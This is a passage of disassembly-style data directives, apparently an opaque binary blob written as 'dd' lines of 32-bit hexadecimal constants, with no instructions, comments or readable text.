		dd 0F4717A49h, 46500045h, 1F5DFAB4h, 0BCE4EAC6h, 31438E00h
		dd 51E7E93Ah, 0E2DB0020h, 52DF0A6Fh, 0B6EE03CCh, 542D337Eh
		dd 7CCC052Fh, 4058CB9h,	0F1E5AAEEh, 924828ACh, 73B0DC00h
		dd 0F51842h, 0F3919BC0h, 0D73D20BFh, 36318B0Bh,	0E6BC002Eh
		dd 90C4F540h, 0CB781DA2h, 1AB0C0B5h, 66473523h,	58D95000h
		dd 9C803133h, 4A0A0EF9h, 7A61A956h, 7FD5D245h, 0B1E52000h
		dd 38667CDCh, 0EA1E6025h, 6F8585B2h, 80E8B82Dh,	1C1B2A8Dh
		dd 6D4D00D9h, 0EECF579Dh, 554AE51Fh, 1FF704F4h,	894A8936h
		dd 0EF50AA4Fh, 0A8C07D4Bh, 0B013556Bh, 14B2008Eh, 6205AFE0h
		dd 0A3039F2Dh, 0CE669B44h, 46A5F0EDh, 69BF3E95h, 6314D25Fh
		dd 0EE01AC5Ah, 0FFF825F0h, 0AC605AE5h, 0D207381Dh, 0C577E300h
		dd 1CC23D74h, 7CC35928h, 0F245F604h, 0C4AC07B3h, 0C63C815Eh
		dd 557DA81h, 8481A06Ch,	0CC605AA2h, 2AE5398Bh, 0D835A880h
		dd 8179A7B1h, 0C8804726h, 46879D00h, 12E3ED83h,	80953F3Dh
		dd 0AF7AB9E8h, 0C3007092h, 0E88C346Dh, 60627825h, 7B9902Eh
		dd 7E1E8036h, 8BC0609Dh, 0E2EC8243h, 0DFF1003Ch, 0DA1B8F8h
		dd 213FAA9h, 4C00508Fh,	0CC76D77h, 1BCD015Fh, 0DBCF0EC3h
		dd 7669B8B3h, 0A5FED900h, 0BDAA3188h, 67998h, 253BD309h
		dd 0D5AF0761h, 79996902h, 60B88D9Eh, 0BA507550h, 0C0D60B08h
		dd 58F0BBFCh, 96058D00h, 0D1E7AC6Ah, 33F49Ch, 57438C29h
		dd 1B80E65h, 0D4B271F0h, 1314FE00h, 954F1F4Ch, 7FFC9885h
		dd 4B049AC9h, 44940559h, 0E8688C64h, 0B0DE38h, 0D5E42C77h
		dd 58F794F9h, 0D84C6CAFh, 90A8D45Eh, 3B3D621Ch,	13151127h
		dd 6173A158h, 2C512187h, 5907002Ah, 0C0A8271Ah,	36165316h
		dd 0CC072EB2h, 0E5E0EA17h, 953D8941h, 923CF4C0h, 500018B0h
		dd 0DB337C53h, 2355254h, 1DD58B79h, 4C692F3Dh, 4B207293h
		dd 0A8DD2807h, 40967DF2h, 6185FBCCh, 6973D8B8h,	72F02C3Eh
		dd 0AE701A00h, 0E571B180h, 0FF7247h, 0D28CDF50h, 0A35C8948h
		dd 0B97C9301h, 0E39E9294h, 9C563474h, 7C3141A8h, 4D7BD82Ah
		dd 0A3F7E4Ch, 0A4A81E16h, 68939D85h, 0D30E3800h, 15692D43h
		dd 84897DBCh, 93AE711Dh, 7BB090FAh, 503FD81Fh, 2523AABh
		dd 1401380Eh, 0E9F46936h, 3B429070h, 61052E8Ch,	0CE4EF8BBh
		dd 9C45500Ch, 5275767Bh, 0C1FD9D33h, 0E6D8855h,	84718C7h
		dd 0BA048912h, 0C075F24h, 8E51F782h, 0A48155E1h, 0C86418A7h
		dd 10030206h, 1AAD457Bh, 46E4D032h, 4C34A3FEh, 7D48F4C0h
		dd 2AFEF01h, 80849570h,	585A6C99h, 0FC10C01h, 0AAC78B35h
		dd 0F5579E82h, 7E215300h, 7BA000D4h, 16144E79h,	3604783Fh
		dd 6CA47F11h, 3A7C48B8h, 0D200DF02h, 33EEA055h,	7099A2ACh
		dd 0D57B92BBh, 4632A8B8h, 0A8403676h, 2313254Ah, 84896404h
		dd 0B2E09CCCh, 0AAF620C4h, 52AC029Fh, 0C5722069h, 0F40084CEh
		dd 12DA3A38h, 309F7AF5h, 8B586F8Ch, 0B9025774h,	22C02B0Eh
		dd 0FCAE7DD2h, 1EF1A380h, 8E2A696Bh, 0BF3D8479h, 15C4BCFAh
		dd 0B8C71Fh, 7D3505B7h,	2DD7D573h, 48043364h, 6004AED1h
		dd 6E43DB8Bh, 0C898E990h, 0F49C630Dh, 0D9B0EB80h, 166A0F17h
		dd 805D0435h, 4A1A4778h, 69808A09h, 48FC80A6h, 4E9D7BAh
		dd 52AA044Fh, 90A8C05Fh, 0FAF28B4Ch, 0E5B05C4Ah, 4B6E26CEh
		dd 2F6A4088h, 0C609D066h, 76F92A28h, 0F8DB03ACh, 3087A985h
		dd 306F1CDFh, 0BC963204h, 4D04FEFh, 3FB0BBh, 0E7E61879h
		dd 0C2F9B4A8h, 0D99CEF1Dh, 2100B29Ch, 0A687387Dh, 68880003h
		dd 0A254E6CCh, 0A32E1E4Dh, 0E8254CFDh, 0EEC910h, 0AA33F53Ah
		dd 2AD877A8h, 0DAD1F600h, 6D36CF26h, 2258C252h,	0CC768D71h
		dd 7FC5201Eh, 0AC80FDBBh, 2050C3F8h, 91001B29h,	122888DDh
		dd 3DAC0C5Ah, 313FD696h, 0B8186280h, 3999EEA2h,	15C8D0F7h
		dd 4900F97Bh, 0CB9A7B93h, 210109h, 0A3848C51h, 2F635E2h
		dd 7EEA5340h, 0F08288CBh, 57CAC215h, 353F02E4h,	689C1008h
		dd 2828C14h, 0C0E015E4h, 8C78D4E5h, 0D00FBC09h,	0C468C0DCh
		dd 0D2EC01h, 5689F4A4h,	0AF2A61B2h, 0AE5A0900h,	9228E397h
		dd 3988581Fh, 17B42060h, 38704225h, 0E7F1840Fh,	0DF5264B8h
		dd 543330ADh, 82FBA968h, 10681ABAh, 720D5571h, 0B1188B83h
		dd 5508E40h, 0F07850ABh, 0FB282C8Dh, 0C3A30280h, 81557758h
		dd 0B6034870h, 20E0BA02h, 0B4981D33h, 0C6BDFD01h, 0CF5A706h
		dd 5BCD87EDh, 5024C02Ah, 0D93E939Bh, 89FB39E8h,	78954156h
		dd 503B60BCh, 6B675E83h, 7A7CF300h, 0BD86B15Ch,	0D104B22h
		dd 28587B6Ch, 24BE696Ch, 20C8E894h, 60EA1E2Ah, 0B84AC5BAh
		dd 0D993188Ah, 5F0BFD07h, 525A3D67h, 5B2B00D4h,	0DEAD8EA6h
		dd 0FB011119h, 916CBFBDh, 90983E80h, 0C8142870h, 0E8DC1B0Ch
		dd 58D880FDh, 5B24528Dh, 1DC300A8h, 0FBFE3D5Ah,	0C1E0C950h
		dd 0C069EECh, 8F73E6DFh
		dd 0A4D81880h, 0FC3EAE16h, 0AFB1D60Fh, 1E294084h, 4A3993A0h
		dd 0C97480E1h, 0B3086023h, 0CEB174h, 4483BC7Fh,	352CA3F0h
		dd 0D20ED6B5h, 0AD0FB77Ah, 6001EE62h, 73CD187Fh, 34900F10h
		dd 84C30A53h, 0B9F8BBD1h, 8A132F9Bh, 400913Eh, 4EB0353Dh
		dd 5C46009Eh, 3FE97568h, 4800DE9Ah, 7E3204B6h, 0E6A25E03h
		dd 6EBA0020h, 0D5D2B14h, 1F79D14Eh, 5F00FC98h, 0E2C34B90h
		dd 46CE13h, 0BB8811BDh,	338B21CAh, 0F2BC2D32h, 3CA0750Fh
		dd 13C50AAFh, 0B742BA41h, 52288516h, 0BEFA84h, 2E477860h
		dd 0C900FAF9h, 4F807EA4h, 4040225h, 62744EE0h, 52C8C095h
		dd 0FCF442D1h, 88004D5Ah, 3A859CA6h, 0E17D0128h, 6B863420h
		dd 68003BB0h, 4CB39635h, 44A70101h, 0F48D94ACh,	180B2B4Eh
		dd 80B0E01Fh, 0C150088h, 0F2FD58C7h, 4B008655h,	977431BBh
		dd 1EA10B08h, 0B0BCB20Ah, 0F69B7FE0h, 1FFFB109h, 1B2C5A7Ah
		dd 0F92A08B9h, 0C3C207C0h, 1E36A200h, 9EB7E8E7h, 396A0068h
		dd 0BFF0EF14h, 73037195h, 0D2E3BE50h, 0C2E00996h, 7CC8B241h
		dd 230046ABh, 9A4802A8h, 82585Bh, 7828E9D4h, 7B1A0E41h
		dd 0A64B200Bh, 1705871h, 0C908244Dh, 0E0E964ADh, 0FC90FC06h
		dd 0AB437B00h, 2FB7FBCAh, 447F054Fh, 0F404D3B4h, 0BC0454FCh
		dd 0EB4CBFDBh, 6C8278C0h, 4640025h, 8AEAABEEh, 6D073E74h
		dd 0DFD8050Dh, 58C6F2F0h, 0A2F64A5Ch, 934E0FBCh, 8CA9C083h
		dd 58FB1FFAh, 0CB02ECC3h, 0A47A2BA6h, 0DB9E2160h, 7F02D200h
		dd 0F80EEE6Bh, 0C0F25FE6h, 0C06A1154h, 0CE91C23Eh, 179BCB0h
		dd 0F49ACBC9h, 0E0215250h, 5501D3D1h, 781C0111h, 902A8233h
		dd 3B802EC4h, 0B1A8A44h, 0B31D75CFh, 0C0DF800h,	500047C4h
		dd 55A4DEF1h, 1835F6h, 250ECD02h, 0A6E48972h, 1D0F5CB0h
		dd 34586F79h, 90A51E8Ch, 0C72B5202h, 4EECD8A4h,	59B497B5h
		dd 0DDE7F800h, 0AB03703Fh, 1E948CA3h, 6A1800B6h, 0B166796Eh
		dd 7B00B899h, 8C84B27Dh, 5F149DEh, 64283E4Ch, 0DC148022h
		dd 0A516E491h, 340454B1h, 64B8D699h, 2E02A200h,	8834BD57h
		dd 7FE37817h, 1BAED41Ch, 9FE96B00h, 0FA084F92h,	0CB0B02CDh
		dd 8F6213A5h, 0F9259054h, 67EB00CCh, 0A1B764E8h, 7E9BEA00h
		dd 531911ECh, 8B0271Ch,	0D4000C51h, 219CCF22h, 7F660002h
		dd 0BB2F12EDh, 0FC4CAA34h, 0C1731D54h, 5F944A81h, 813E6DECh
		dd 2E8A4DA4h, 0C90D8400h, 0F41B5268h, 95D700EDh, 1A5E74D4h
		dd 9250F555h, 0B4BC5185h, 5737CF00h, 0BD4D87h, 40C80DDCh
		dd 0B2F19E60h, 8856BE28h, 0E58FAE17h, 3D6F98D8h, 0F78050B4h
		dd 466B909Ch, 3F009344h, 0FCDF910Ch, 4C9E92D1h,	0E401D4F3h
		dd 3DE35E11h, 8E9E418h,	808CBE3Dh, 3E68540h, 71F7519Dh
		dd 1D84B023h, 3B3A6F14h, 459B1500h, 0B1CE85B8h,	0DC7A7200h
		dd 0CC81F5A8h, 4920E62h, 0C8A56197h, 80B49206h,	0B0C10B03h
		dd 9495A681h, 587D0110h, 7ECF7B56h, 0BEEF7000h,	53C7094h
		dd 0FEF70D17h, 95CF887h, 0DC82B0CDh, 7F9E8334h,	17F96483h
		dd 9AA7F81Bh, 0C57D5509h, 83D8FC5Eh, 0CB71ACBh,	61ECD9F9h
		dd 0D84C315Ch, 4900AC5Eh, 936B1C26h, 0BCBBE6E8h, 50847D4h
		dd 90B425EAh, 0CEEBAE48h, 0C502B800h, 635C07FFh, 2B461286h
		dd 0C1A00004h, 0A9D7E135h, 445BF90Fh, 57024008h, 25485B9h
		dd 0AE09072Ah, 44704F11h, 0F2521300h, 3FD596DCh, 0B83C02BBh
		dd 0DEEDCC0Bh, 56252440h, 0EA88A200h, 3B5BA0C5h, 0E0A0979Fh
		dd 4392C6Bh, 6528D0C1h,	58203E40h, 0D8D600F6h, 0C6F3FE52h
		dd 5CB8C0F7h, 0FD55AF00h, 0ED938109h, 2C8C1747h, 181F9Ah
		dd 0ADD3073Ch, 370105A3h, 38DD677Fh, 75E01FD5h,	0CC862DDEh
		dd 6F022458h, 0EFA1E68Bh, 487770Fh, 0F8AA609Ah,	313C7619h
		dd 0B1F70180h, 8E26B2B3h, 0EA78A80h, 84295A59h,	0B044DE4Fh
		dd 0ACBC4063h, 1E069910h, 94C0A231h, 5928C660h,	0A98A00A6h
		dd 2D0D25DAh, 111CB0E1h, 0A325AA66h, 0E0DC6F00h, 2F28DF8h
		dd 330D0F9Fh, 20406986h, 48148734h, 905B55h, 0D954793Ch
		dd 0B89CE9FEh, 43F01268h, 378B034Ch, 91C8EB18h,	0BF24B89Ah
		dd 1303B9D1h, 0F05E1E34h, 98DA7882h, 2C8D4823h,	73FCC15Eh
		dd 63488165h, 6E743C3Eh, 0B52B7024h, 6410DCA1h,	89C8D4C0h
		dd 3809954Eh, 0AAB87485h, 7CA0128h, 3E946FEAh, 5184212Ah
		dd 0E8D78740h, 0E50008ABh, 1310AE62h, 293B7E1h,	4620B25Fh
		dd 4C630234h, 0A0C6EB90h, 3D476C1Dh, 99646200h,	1669C6Bh
		dd 3AE732D0h, 80BCCDA8h, 7D7FA431h, 0A2E6A6A2h,	247C94h
		dd 36C8AE4Ah, 5105385Ch, 6388B01Eh, 0A148CCh, 0BD710C3Bh
		dd 0D05A6489h, 10856124h, 83DB7201h, 73B7BCh, 12869AE8h
		dd 0F457FADFh, 6A4A9570h, 102AC8Ch, 8A5D622h, 60C6ED4Fh
		dd 0C517E250h, 0F849C341h, 0EA045584h, 0A208071h, 60F1A864h
		dd 6A059BECh, 0CB611D50h, 0F895387h, 48E6601Ch,	98561EACh
		dd 0E3E22264h, 66099A42h, 5CDE4397h, 95F14B83h,	9C99D952h
		dd 542C0B31h, 0F938E503h, 5873F505h, 9315321Eh,	6260B401h
		dd 8110DAC9h, 909C3F9Ah, 12971500h, 64E82665h, 0C06FB8A1h
		dd 1035D303h, 78A6EB04h, 0FA76A9h, 1127BF9Ch, 262E284Eh
		dd 96603CFCh, 0BD6D84h,	1C2376B7h, 8D48EEA5h, 2A1E00Ch
		dd 0F3258DFh, 0E6ACC26Fh, 68050FE0h, 7D71D933h,	0EC84C8C0h
		dd 3906F95Eh, 0CB962039h, 4B14ED2Dh, 5413ACE6h,	16E8453Eh
		dd 3D40FC18h, 4CF41369h, 0E42DE405h, 781E9C00h,	5E0F61C0h
		dd 0AA2C9425h, 658A0000h, 2E352D5Bh, 4F4CFh, 5E5DFFF7h
		dd 680442D1h, 2DD33F5Ch, 97A048ACh, 7A5C4B81h, 82910014h
		dd 55098ADEh, 508604DAh, 0EDAAB273h, 94680428h,	0D08066E1h
		dd 3EF6C31Bh, 580F5B8h,	9ED4EA4Bh, 210037CDh, 18881E68h
		dd 7DCA81h, 0B1D839EBh,	25989136h, 0B40016E8h, 0E0153A63h
		dd 0AA4FBBh, 6F93BDEEh,	0A5C9F324h, 0D7421094h,	0B090D77Fh
		dd 0C7135906h, 7C80DBECh, 2067A6CBh, 5B04EE73h,	0E9137B98h
		dd 83002EBBh, 3C8ECF5Fh, 0DAA5DB80h, 0D54008D9h, 4F7EBAFCh
		dd 8F870F5Fh, 3A820DEEh, 215D7D95h, 184278A8h, 8D1C9A5h
		dd 0A800BA1Dh, 3E4482D0h, 80060019h, 4F7D9D3Bh,	412C67B0h
		dd 7A1D5BFBh, 2679BA06h, 0D29C0640h, 511C0E1Bh,	8012147Dh
		dd 0D4E86E8Eh, 51026B23h, 5D56DA48h, 19E0F800h,	0F600B324h
		dd 54D520FBh, 1C819B8Eh, 0C05505D3h, 23820B3Bh,	160058E2h
		dd 0E733F67Bh, 92E49Dh,	68CCD705h, 0A1985F79h, 0FC7C8000h
		dd 0F6D85567h, 93E09F5Bh, 937E9BCBh, 1AD6600h, 0EB2C1F7h
		dd 2650BD39h, 0F1729900h, 6AB1708h, 0B6F697h, 0C643EE1Dh
		dd 843F9F12h, 60B23D00h, 44370A8Dh, 0C9FB2467h,	41083F4h
		dd 30EF849Ch, 32375541h, 563AF03h, 0B876C30Bh, 14C4D346h
		dd 903B4FDEh, 5A339680h, 0F100B04Eh, 376EBFA0h,	807B4AB7h
		dd 80BDDCBAh, 55959EFCh, 0E713034Bh, 69D5D451h,	0C56014C8h
		dd 5CE47E5Ah, 949E00B8h, 0CF7F4578h, 2234B1A4h,	0F41DA13Dh
		dd 68541880h, 376481h, 9D8FCEC8h, 965AC46h, 0BDE5D00h
		dd 0FB538610h, 6C39C0BCh, 8A56201Ah, 54B9452Fh,	0FBD403D9h
		dd 30E93733h, 0B0003E9Fh, 916F48B6h, 2FE4F584h,	8BE0014h
		dd 0C74ED1C9h, 41000579h, 7076947Eh, 3CD2DA93h,	378C3477h
		dd 61C154E5h, 79CC9831h, 5986219Fh, 46EF4D02h, 7D2B6D00h
		dd 0A844EA16h, 4BD40EE3h
		dd 0F6803F56h, 6B5AFD3Bh, 0F1619F30h, 7D72F81h,	0EEA2F423h
		dd 195DD055h, 0C00E8C8h, 304DE2E5h, 34B099Dh, 0A0BEAFE4h
		dd 72A0842Dh, 10C4B016h, 0E1609B2Bh, 3F220C86h,	83DE0C44h
		dd 12414E0Ah, 9ECF770Ah, 2C610411h, 1087C114h, 7E286F7Fh
		dd 31B8E84Fh, 0B50F9DBEh, 23485596h, 30501DC4h,	0DD21BA08h
		dd 1027B5A5h, 0DAC0E07Ah, 0B2603D9Bh, 29610F30h, 701CACB9h
		dd 5201833Fh, 0D1E4C93Ah, 0EE629E10h, 6F91CD60h, 0C1702DFDh
		dd 0BB3D1AA1h, 5083C052h, 1ED8D01h, 0E7E51429h,	0B5489C0Ch
		dd 50A0293Fh, 1000B911h, 1B1EB5A4h, 7A00F19Fh, 0C24B0B85h
		dd 51EC63BAh, 0DE8C3CDDh, 0DC11C850h, 7598547Ch, 32881C38h
		dd 20719869h, 0C96E6131h, 63D90E00h, 5DF67C1Ch,	6568052Ch
		dd 54EA39Eh, 1F8AF68h, 6E034692h, 9913F572h, 8D21D308h
		dd 84CFC0h, 0A785346Fh,	132B5761h, 0AFD310C1h, 76E9B5C7h
		dd 0E57C7880h, 8BCD497Ah, 6DDCF600h, 0DB3FF15Eh, 55D10089h
		dd 0A7793C8Fh, 0CF0CCD0Fh, 0B1732A0Eh, 0F987F17h, 0F283EF9Ch
		dd 1D09F8ACh, 3720D060h, 4A8FA0h, 53319791h, 0B0FE95A8h
		dd 0CC04ED03h, 206E56BBh, 554AA90h, 690082DCh, 0DA256422h
		dd 0C59CC10h, 5EB58F84h, 0EB0772B1h, 0D98C37Ah,	1E34F521h
		dd 38C20C4h, 0ED0A24A5h, 54F84C59h, 9544269h, 8937CBD8h
		dd 4F42B96Ah, 8E0C82D5h, 0AEC2076h, 4D2483CDh, 0E40858C3h
		dd 0B59960E7h, 0A846556Ah, 1101C222h, 0CB9FB5A1h, 518A6C86h
		dd 9DC8C350h, 9BB7805Ch, 74C1B592h, 0F2F920C0h,	3463C9F4h
		dd 8296FF3h, 0F9C0A0F4h, 2146D8CFh, 0D791702Bh,	18216h
		dd 0AFD1A79Ah, 4914F775h, 0C8D821B7h, 8F69C003h, 4B21EFB1h
		dd 1C91F3h, 0AB8F9132h,	8DD4B9h, 9F17DC8h, 2E67C50h, 0FEE81560h
		dd 0C0CCF063h, 0A1B44F81h, 0F41409D0h, 2BCD790h, 27426A13h
		dd 11A40814h, 0B59880E1h, 8C805569h, 3A14C544h,	0A9BBB5A0h
		dd 927BBC03h, 2BB8BB87h, 90A37125h, 0CFF7608Ch,	0FB4610DAh
		dd 80D0C86Eh, 0F5CFFF8Ch, 0A218BFC8h, 4419D44Fh, 4919001Bh
		dd 5C373FD6h, 5900DE86h, 9B02952Bh, 0C6D7851h, 0D6E6E752h
		dd 0E2076F99h, 668558Bh, 0C5A8C991h, 0F5113432h, 4FF21DCEh
		dd 51D90DC3h, 0AB2103DCh, 0EB69076h, 8071113Fh,	0FA8DFC0Ch
		dd 3A95D2A3h, 5A24A432h, 0E14A8044h, 3565840Ch,	2B2ACB7Dh
		dd 2A01E06Eh, 4D69D8Dh,	0B0EFBDD2h, 0FFDFEC5h, 0B38644D1h
		dd 0D55D8A2h, 0C8B94C80h, 0B4019333h, 0EBB504C7h, 7025F50Ah
		dd 0C3A2C823h, 2435930h, 0A8CC0B3Dh, 70847645h,	0CDD609Ch
		dd 0DA8D23F8h, 4E015E11h, 2DF00CE5h, 58D9896Fh,	3E66807Ch
		dd 58FD503h, 91CBA07Dh,	28F454C2h, 9A892C4Ch, 50B90804h
		dd 5323C0D0h, 2D792CEh,	5650D4D2h, 844B39B7h, 83A84ED3h
		dd 160C75B3h, 51DC4FA5h, 34B7E68h, 58260AE8h, 0C7E01B70h
		dd 0FD01971Dh, 0CC07EAB0h, 0A9A8728Ch, 0B5F702BBh, 2DFECD12h
		dd 0F500F444h, 958A1C3Ah, 74681B9Ch, 26B70C4Ch,	0B369C64Dh
		dd 7F79AAE6h, 4834EC07h, 6CA0805Dh, 4991CC0Fh, 7A20DCh
		dd 382625Ah, 0EB01D1E5h, 36644234h, 502FD813h, 0F200B723h
		dd 34D86B0Fh, 504C04FFh, 880847D9h, 0C16AEB10h,	14111CA1h
		dd 4566E30Fh, 0A40E49B8h, 9F546978h, 0E1FDCBC0h, 0F808405Bh
		dd 0E730269Ah, 0A68831C7h, 0AB37006Dh, 1FEBDC89h, 5D00861Eh
		dd 9B7761A2h, 1280F8F2h, 4063B595h, 1FAF3608h, 9F004B32h
		dd 0C31CBC13h, 9AEBF66h, 4C06B223h, 63F3A901h, 187062F4h
		dd 0FF71CBE6h, 0E87EFEh, 8DA7E47Bh, 0F70B10A5h,	0A87C5C00h
		dd 7A7E5561h, 0D3CB0F6Fh, 80404FB7h, 648D0ED7h,	4CFCC13h
		dd 8F6A9060h, 43EF79B2h, 1F22F2h, 658F9231h, 474D5D5Ah
		dd 91E04F30h, 9695F2h, 50AD9068h, 0A5872379h, 3AD10D01h
		dd 0CEE6DFB9h, 224B187h, 0B6E80ACh, 7C00CC74h, 0B62526C7h
		dd 7238DE0h, 0CE048B35h, 0CE73C49Ah, 0C0D48878h, 0E8E1C789h
		dd 573EFD00h, 6661D663h, 0E68018DCh, 0CA0C89CDh, 5B3A1600h
		dd 40DB4904h, 0DAA502BFh, 0F0A16F4Dh, 0E67E5040h, 120CA749h
		dd 104009B5h, 0E46BD73Ah, 4E350225h, 72C18F48h,	0D4638C4h
		dd 9B94973Fh, 384CFCEFh, 8F9F38B0h, 657CD401h, 39DCAB46h
		dd 1802D3FCh, 7107B670h, 0A3006B1Fh, 956A8061h,	34ECA9Fh
		dd 0E0278650h, 41D0E736h, 890BFE4Ch, 112179C3h,	0FB189A14h
		dd 46D6CF04h, 0D532701Bh, 0CF038020h, 0C9B701B3h, 47905143h
		dd 7FCC722Bh, 0EA87B500h, 82525AC2h, 24D0902Dh,	40004CFDh
		dd 85EA466Eh, 95933400h, 0F1ED8F6Bh, 585B00BCh,	8DC87702h
		dd 924D76A6h, 0CDB8394h, 31CAEAFAh, 0E350105Ch,	58923D0Ch
		dd 0D8F21984h, 9BB48C37h, 0F050DA00h, 9A1EA5B3h, 960C0C1Ah
		dd 7121BFE6h, 9900C470h, 0FA75C72Fh, 720A5003h,	0A6B4018Dh
		dd 23DEA83h, 849C2847h,	4C2D501h, 0EAF92013h, 18B2E542h
		dd 448ACB2Ch, 0A3C80B49h, 8DB5FEB4h, 0C7A4B808h, 46DCE005h
		dd 44866E0Bh, 0D018EABh, 261805CFh, 0A9D428B3h,	80C16483h
		dd 0EC624408h, 844950CCh, 4C7FB107h, 0C40AB95Ah, 0F7901219h
		dd 74E3CB10h, 0A7FA9CEh, 53091452h, 2CB48277h, 60404A25h
		dd 7366A24h, 752118F6h,	44E51139h, 0EA1D6163h, 4CE45742h
		dd 9D042C58h, 859C3E80h, 2289862Ah, 6E017674h, 0EB39230Fh
		dd 5461CA7Fh, 0D73622FEh, 14E77427h, 0EAF621E1h, 9BD8EED1h
		dd 0B429C0B5h, 0D2F93E06h, 0CB1D471Ch, 0AD0FD380h, 228C9E44h
		dd 0E40EB1F3h, 827687D2h, 99EDB391h, 34208BD4h,	0DF028C9Eh
		dd 2A8D060Ch, 80C8C5A4h, 520D2754h, 0CB2EE4B4h,	580DCFFAh
		dd 62DDB1C0h, 0F6DF2980h, 0F3BB8C6h, 92837100h,	0DEBD3861h
		dd 8EC899F2h, 4EE0180Ch, 0E521E7F5h, 0E20035F8h, 3B10B6F7h
		dd 0C55B4CD9h, 5D242C51h, 860340C4h, 0C8B2FA43h, 769B1500h
		dd 0F9CD739h, 816003BCh, 0ED659344h, 1CC4B7C2h,	9537491Dh
		dd 0EBEFDA80h, 104F685h, 9AB0AAA1h, 0ECD96435h,	0F4F80667h
		dd 81AC0F18h, 4DD1A138h, 0C59985Bh, 74C1D501h, 0E4EDB5DAh
		dd 0F4A48BCBh, 4136D103h, 97FCF739h, 47DA4330h,	7F57804h
		dd 0A2037222h, 6615215Ch, 0C86A61EEh, 61EE4C0Bh, 0C7E25801h
		dd 0D7144B9Ch, 0EE221DE0h, 0D13400EFh, 8FFDBC03h, 689CC44Eh
		dd 4FF04B40h, 272A0138h, 76BF51D9h, 51F2C8h, 1713C300h
		dd 1F08E94h, 0BF1FE079h, 0C07EA03Eh, 82609F56h,	72C20A08h
		dd 0D0F826B5h, 0F439BCh, 0DD3ED976h, 0CEFFF48Fh, 0D17DBEF8h
		dd 5D8B703h, 0E3E39AE0h, 607DC0DAh, 0E44B2CDEh,	8B840025h
		dd 0B298923Fh, 1E99C700h, 4AD32F3Bh, 0DDD507F7h, 80FAB5B3h
		dd 0DFFBE171h, 0CA126590h, 0B90F87CDh, 0F69507CCh, 1FFC304Ch
		dd 1DF4B1CFh, 33B503D5h, 0FD9076D7h, 0D8518F9Eh, 1E6409CEh
		dd 78E0BB04h, 557CA7BAh, 8317D80Bh, 0A20C9077h,	27140063h
		dd 0A3B173FAh, 8CCAC01h, 0BD21A5h, 0E28B147Bh, 54DE5A5Eh
		dd 222EE3FEh, 0A418922Ah, 261861h, 7C77B52Bh, 0EEB7D29Dh
		dd 1151C801h, 0A33D7A7Fh, 0E43F2981h, 7033E854h, 201D51A6h
		dd 6B18B4BBh, 12C5D21h,	1BCFCE55h, 0F87FADD7h, 380D8197h
		dd 60A93345h, 1E4391F8h, 9BD3117Eh, 6823387Fh, 55270165h
		dd 18E333EDh, 2F5A8841h, 21EC5500h, 0A41F8896h,	0BC603A9Fh
		dd 3DAF3680h, 77950A9Dh, 8097DA39h, 450E1F5h, 7EE22ACCh
		dd 0E9533194h
		dd 0E1F39FE0h, 0F601D28Fh, 3AF9461Dh, 39FFA88Ch, 2874BC19h
		dd 0AAEDDC00h, 9C599118h, 0F6990330h, 0ADF8FE17h, 229F3006h
		dd 15892D5h, 557D6146h,	50145734h, 0E5EAA0E4h, 0D90A9EE2h
		dd 84977E42h, 1CECBA94h, 0DA8FAB82h, 4AC2A165h,	6FC46A76h
		dd 38EA0A5Ah, 81E8F117h, 3FBA9EE2h, 96688FA3h, 7761D8FBh
		dd 6E1C141Eh, 891280BBh, 0F30403D4h, 0C90EAD6Bh, 1B2F9EDCh
		dd 2B68071h, 76D7B40h, 0D7149B29h, 438C6E62h, 2A009521h
		dd 0FE0B9840h, 6759F3h,	9BE16119h, 107704EEh, 8E491F03h
		dd 6819D5Ch, 6E6B99A1h,	0F50AB83Ah, 0EC667EF8h,	0DC0228C5h
		dd 968C2B33h, 305900ECh, 0B0BCD755h, 0C506A3FEh, 0B23F1B7Ah
		dd 25380A21h, 37B8A57Bh, 5758C371h, 1FD1B106h, 0F9083FBh
		dd 54E340F7h, 3F435A82h, 511FB801h, 0B7D8B180h,	3A82A1DBh
		dd 0A3BFF20h, 0B9EC87D4h, 84123EA0h, 14C011Dh, 40A1A3C3h
		dd 0FB461AB8h, 17804361h, 312197E2h, 487EA811h,	243E6CD0h
		dd 112078B7h, 30C3014Fh, 670A47B9h, 8C81E020h, 1146104h
		dd 0E76283FAh, 1479BB20h, 0DE8C008Ah, 9B9EB2Eh,	15296B3h
		dd 290C3EFCh, 7F8890A0h, 6CA20B2h, 3E609A43h, 0E7002198h
		dd 408A1F6h, 0D5B12EFh,	3F772551h, 1E9ED030h, 3E15BE14h
		dd 84171490h, 146E8054h, 8C7BFA28h, 0C0EB44h, 5EEE1466h
		dd 6E31692Fh, 84B6F628h, 16140C7Fh, 15ACC5C6h, 4898C444h
		dd 999B3000h, 26847E48h, 747043B1h, 8300ED46h, 6F1B4ABCh
		dd 61CFE9FEh, 78286060h, 7A5F70Ch, 0FFB1B4BEh, 0AE216C59h
		dd 0D4A38400h, 525E96C3h, 0BB7912h, 6E8B41DDh, 9B23FB94h
		dd 39A2FD15h, 96851E90h, 0FF41A718h, 12F0A83Ch,	60710032h
		dd 0BC6F96F9h, 0E402B708h, 5943519Eh, 0FED4A01Dh, 19202Ch
		dd 0E8A3887Eh, 0F593EBB4h, 0A0F7C9CFh, 0CE2A1670h, 7D12001Ch
		dd 76A22D44h, 0A490EDD7h, 2A01D046h, 0BB188E55h, 88730CB4h
		dd 5500325Fh, 42FE4F16h, 79582260h, 0ACC0CDEAh,	0E33DED91h
		dd 0DED73100h, 529B3426h, 0BF640016h, 0B304D1C9h, 930458ECh
		dd 8E9863B9h, 91AF38C2h, 0E9104480h, 6C00674Ah,	38A3123Ch
		dd 3D428BEDh, 1B82F3A5h, 26C5A84Fh, 7A78A083h, 8ECDF10Eh
		dd 0EDBAE031h, 187B33C0h, 911638B4h, 9D4C469Fh,	7E961390h
		dd 0B823A42Fh, 0C01C050Ah, 0BB10D105h, 20FE748Ch, 60787F4Eh
		dd 88EA2412h, 0A75A4C04h, 17694741h, 0FDE330ACh, 0CE5E6F00h
		dd 392FECCCh, 0B5790436h, 0C0EFE30Ah, 27E20208h, 6CA332F8h
		dd 0D8BD49C0h, 0F004EE2h, 8567E13Ch, 0A41E5A29h, 0E6BA3EBCh
		dd 0AC59C180h, 1038D624h, 804C5A48h, 0EDAFF5BCh, 8E0B026Ah
		dd 1E857491h, 606D9160h, 23431001h, 3F282702h, 2500A022h
		dd 1437802Bh, 7200FCAFh, 0BA917843h, 98A9691Fh,	99F37578h
		dd 8E923948h, 2F453FCh,	95D52A28h, 87461800h, 2789298h
		dd 0BEE1B048h, 806B7F0Ah, 2CC08082h, 0E690F337h, 3F482C9Ah
